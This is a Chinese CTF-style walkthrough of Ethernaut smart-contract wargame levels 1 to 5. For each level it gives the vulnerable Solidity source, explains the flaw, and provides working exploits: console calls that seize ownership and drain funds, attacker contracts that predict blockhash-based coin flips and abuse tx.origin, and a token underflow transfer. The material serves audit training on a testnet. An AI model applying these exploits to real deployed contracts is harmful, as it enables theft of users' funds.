eth转入地址_ETH智能合约靶机 审计学习攻略

0x1

Ethernaut是一个类似于VULHUB的集成了众多存在安全问题的智能合约靶场,适合智能和合约的开发人员审计人员进行学习

平台地址 https://ethernaut.openzeppelin.com/

在线调试IDE http://remix.ethereum.org/

0x2 开始前的准备

使用谷歌浏览器在拓展商店,安装MetaMask钱包

4677747ad09245c8e1c30e23b46dcc56.png

自行注册钱包账号以后,将网络切换到Ropsten测试网络

a49ff1416cf002328b69f846ce5782b0.png

获取测试网络以太币 https://faucet.metamask.io/

获取一个以太币

1f955d3f8864c4521d88c7ca9f264ed4.png

保证钱包里面是有钱的,要不然是做不了题目的

c10461d29226929098b34149f7e2ee29.png

0关是教程,熟悉用控制台操作,这里不详述了,有兴趣的自己去看

我们直接从第一关开始:

源代码

pragma solidity ^0.4.18;

contract Fallback{
  
  using SafeMath for uint256;
  mapping(address => uint) public contributions;

  //构造函数,给创造者1000个eth的代币
  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  //每次转账只能小于0.001个eth,转多少个eth,就增加同额度的代币,代币最多的人合约所有权
  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] = contributions[msg.sender].add(msg.value);
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
  //获取代币的余额
  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }
  
  //取走ETH
  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  //fallback函数,用于接收用户向合约发送的代币,如果转入的金额和代币的金额不等于0,将获得合约所有权
  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

题目要求

  1. 您要求合同所有权
  2. 您将其余额减少到0

分析源代码有两个方式可以,获取合约的所有权

一是contribute函数,每次转账转0.001个eth,然后转1000个就可以得到了,差不多要1000000,且不说手续费,要时间都要转几天

二就是通过 fallback函数,如果转入的金额和代币的金额不等于0,将获得合约所有权

要调用fallback函数,只需要向合约地址转账就可以了

contract.contribute({value:1})//调用合约中contribute函数,转账,增加一个代币
contract.sendTransaction({value:1}) //触发fallback函数
contract.owner() 查看合约所有者

e10f6a34ae6e668a96d35751ba20d84d.png

到现在合约所有者地址已经变成我们的地址了

contract.withdraw() //调用函数取款

ef25ac394aa7d27b393e664b866c7248.png

合约余额为0

aced378f67a291811290a4314fb9dfa5.png

点击提交,即可进入下一关

c83f0d4d299afafce3149e27adc5aa7d.png

第二关

关卡要求:

要求获取合约所有权

源代码

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout is Ownable {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;

  //Fal1out中的中的第二个l,实际上是一,所以并不是析构函数,可以直接调用
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }
  //接受转账函数,增加同等代币
  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }
  //转账函数,往地址转代币
  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }
  //取款
  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }
  //查询代币余额
  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

整个源代码涉及owner的,只有Fal1out构造函数,而且函数修饰符为public,可以直接调用

contract.Fal1out()

f8a149e9704fd5d9c54b69379c48e915.png

owner已经变成我们的地址了,过关!

第三关

要求

这是一个抛硬币游戏,你需要通过猜测抛硬币的结果来建立你的连胜。

要完成这一关,你需要用你的通灵能力连续猜10次正确的结果。

源码

pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  //构造函数,设置猜对次数为0
  function CoinFlip() public {
    consecutiveWins = 0;
  }

  //获取上一个区块的hash,blockValue/FACTR,得到1或者0,然后和我们猜测的结果进行比较,如果猜对了,consecutiveWins+1,如果错了consecutiveWins清零
  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

问题的关键是前一个区块的hash,前一个区块的值确实是随机的,但是因为一个块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess

不过因为块之间的间隔也只有10s左右,要手工在命令行下完成这一系列操作还是有点困难,所以我们这里选择在链上另外部署一个合约来完成这个操作,要用魔法来打败魔法,可以用在线IDE部署

pragma solidity ^0.4.18;
 
 
contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
 
  function CoinFlip() public {
    consecutiveWins = 0;
  }
 
  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
 
    if (lastHash == blockValue) {
      revert();
    }
 
    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;
 
    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
 
contract exp {
  CoinFlip fliphack;
  address target = 这里是靶机合约的地址;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
 
  function exp() {
    fliphack = CoinFlip(target);
  }
 
  function pre_result() public view returns (bool){
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    return coinFlip == 1 ? true : false;
  }
 
  function hack() public {
    bool guess = pre_result();
    fliphack.flip(guess);
  }
}

部署exp类

4cb32129c764d9aa0ebef6c5f550df76.png

一直调用hack方法,直到contract.consecutiveWins()等于10

5e99218a915d1bd63a1a3cb3b346dc9e.png

过关

9c5a2a65748fbbafd9ae3ec710a801dd.png

第四关

要求获得合约所有权

源码

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

这题一眼就能看出来只要tx.origin != msg.sender,就能获得所有权

tx.origin是交易发送者

msg.sende是消息发送者

一般情况下是相等的,但是如果和上题一样,通过一个合约来调用另一个合约,这两个就是不相等了,tx为我们的地址,msg为中间合约的地址

在IDE上测试一下

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract exp{
    Telephone expTelephone;
    
    function exp() public{
        expTelephone = Telephone(合约的地址);
        expTelephone.changeOwner(你的钱包的地址);
    }
}

部署exp类,部署成功就攻击成功了

10df31ac712a54de7f45e16ebbcdd3d0.png

第五关:

要求

你有20个代币开始,如果你设法得到任何额外的代币,你将超过这一水平。

最好是大量的令牌

源码

pragma solidity ^0.4.18;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;
  
  function Token(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  //转账函数
  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }
  //查询代币余额
  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

这里的所有整数变量都是由uint修饰的,代表无符号整数,所以当转21的时候则会发生下溢,导致数值变大其数值为2^256 - 1

contract.transfer(0x80C2d71F2Ac4E53F6ddD25b25c57ecB48Ac73857,21)

现在在看我们的代币

448fccab672286991d87bd639371bda2.png

过关!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值